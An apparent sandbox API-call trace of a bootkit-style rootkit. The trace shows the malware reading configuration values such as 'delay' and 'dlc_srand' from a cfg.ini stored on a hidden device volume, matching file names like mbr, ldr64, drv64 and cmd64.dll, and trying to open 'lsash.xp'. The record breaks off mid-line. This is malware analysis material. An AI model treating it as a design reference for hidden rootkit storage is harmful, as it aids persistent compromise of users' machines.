WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.576] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.576] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.576] KeEnterCriticalRegion () [0125.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.576] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.576] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.576] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.576] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.576] IdePortDispatch () returned 0x103 [0125.576] KeWaitForMutexObject () returned 0x0 [0125.576] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.576] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.576] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.576] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.576] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.576] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf08a0 [0125.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.576] KeLeaveCriticalRegion () [0125.576] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.576] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.576] KeEnterCriticalRegion () [0125.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.576] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.576] KeLeaveCriticalRegion () [0125.576] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.576] KeEnterCriticalRegion () [0125.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.576] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.577] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.577] IdePortDispatch () returned 0x103 [0125.577] KeWaitForMutexObject () returned 0x0 [0125.577] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.577] KeLeaveCriticalRegion () [0125.577] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.577] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.577] KeEnterCriticalRegion () [0125.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.577] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7e000 [0125.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.577] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.577] IdePortDispatch () returned 0x103 [0125.577] KeWaitForMutexObject () returned 0x0 [0125.577] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.577] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.577] IdePortDispatch () returned 0x103 [0125.578] KeWaitForMutexObject () returned 0x0 [0125.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.578] KeLeaveCriticalRegion () [0125.578] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.578] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.578] KeEnterCriticalRegion () [0125.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.578] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.578] KeLeaveCriticalRegion () [0125.578] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.578] KeEnterCriticalRegion () [0125.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.578] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.578] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.578] KeLeaveCriticalRegion () [0125.578] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.578] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.578] KeEnterCriticalRegion () [0125.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.578] ExFreePoolWithTag (P=0xfffffa8003bf08a0, Tag=0x0) [0125.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.578] KeLeaveCriticalRegion () [0125.578] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.578] ReleaseMutex (hMutex=0xf0) returned 1 [0125.579] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.579] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.579] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.579] KeEnterCriticalRegion () [0125.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.579] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.579] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.579] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.579] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.579] IdePortDispatch () returned 0x103 [0125.579] KeWaitForMutexObject () returned 0x0 [0125.579] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.579] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.579] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.579] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.579] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.579] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8f60 [0125.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.579] KeLeaveCriticalRegion () [0125.579] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.579] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.579] KeEnterCriticalRegion () [0125.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.579] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.579] KeLeaveCriticalRegion () [0125.579] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.579] KeEnterCriticalRegion () [0125.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.579] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.579] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.579] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.579] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.579] IdePortDispatch () returned 0x103 [0125.580] KeWaitForMutexObject () returned 0x0 [0125.580] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.580] KeLeaveCriticalRegion () [0125.580] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.580] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.580] KeEnterCriticalRegion () [0125.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.580] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7f000 [0125.580] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.580] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.580] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.580] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.580] IdePortDispatch () returned 0x103 [0125.580] KeWaitForMutexObject () returned 0x0 [0125.580] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.580] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.580] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.580] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.580] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.580] IdePortDispatch () returned 0x103 [0125.580] KeWaitForMutexObject () returned 0x0 [0125.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.581] KeLeaveCriticalRegion () [0125.581] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.581] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.581] KeEnterCriticalRegion () [0125.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.581] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.581] KeLeaveCriticalRegion () [0125.581] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.581] KeEnterCriticalRegion () [0125.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.581] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.581] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf82b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.581] KeLeaveCriticalRegion () [0125.581] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.581] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.581] KeEnterCriticalRegion () [0125.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.581] ExFreePoolWithTag (P=0xfffffa8003bf8f60, Tag=0x0) [0125.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.581] KeLeaveCriticalRegion () [0125.581] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.581] ReleaseMutex (hMutex=0xf0) returned 1 [0125.581] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.581] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.581] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.582] KeEnterCriticalRegion () [0125.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.582] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.582] IdePortDispatch () returned 0x103 [0125.582] KeWaitForMutexObject () returned 0x0 [0125.582] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.582] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.582] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.582] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.582] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.582] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7fb0 [0125.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.582] KeLeaveCriticalRegion () [0125.582] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.582] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.582] KeEnterCriticalRegion () [0125.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.582] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.582] KeLeaveCriticalRegion () [0125.582] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.582] KeEnterCriticalRegion () [0125.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.582] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.582] IdePortDispatch () returned 0x103 [0125.583] KeWaitForMutexObject () returned 0x0 [0125.583] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.583] KeLeaveCriticalRegion () [0125.583] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.583] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.583] KeEnterCriticalRegion () [0125.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.583] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c80000 [0125.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.583] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.583] IdePortDispatch () returned 0x103 [0125.583] KeWaitForMutexObject () returned 0x0 [0125.583] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.583] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.583] IdePortDispatch () returned 0x103 [0125.583] KeWaitForMutexObject () returned 0x0 [0125.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.583] KeLeaveCriticalRegion () [0125.583] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.584] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.584] KeEnterCriticalRegion () [0125.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.584] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.584] KeLeaveCriticalRegion () [0125.584] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.584] KeEnterCriticalRegion () [0125.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.584] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.584] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.584] KeLeaveCriticalRegion () [0125.584] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.584] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.584] KeEnterCriticalRegion () [0125.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.584] ExFreePoolWithTag (P=0xfffffa8003bf7fb0, Tag=0x0) [0125.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.584] KeLeaveCriticalRegion () [0125.584] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.584] ReleaseMutex (hMutex=0xf0) returned 1 [0125.584] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.584] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.584] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.584] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.584] KeEnterCriticalRegion () [0125.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.584] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.584] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.584] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.585] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.585] IdePortDispatch () returned 0x103 [0125.585] KeWaitForMutexObject () returned 0x0 [0125.585] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.585] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.585] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.585] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.585] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.585] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.585] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.585] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.585] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.585] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.585] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.585] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.585] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.585] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.585] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.585] KeLeaveCriticalRegion () [0125.585] IofCompleteRequest 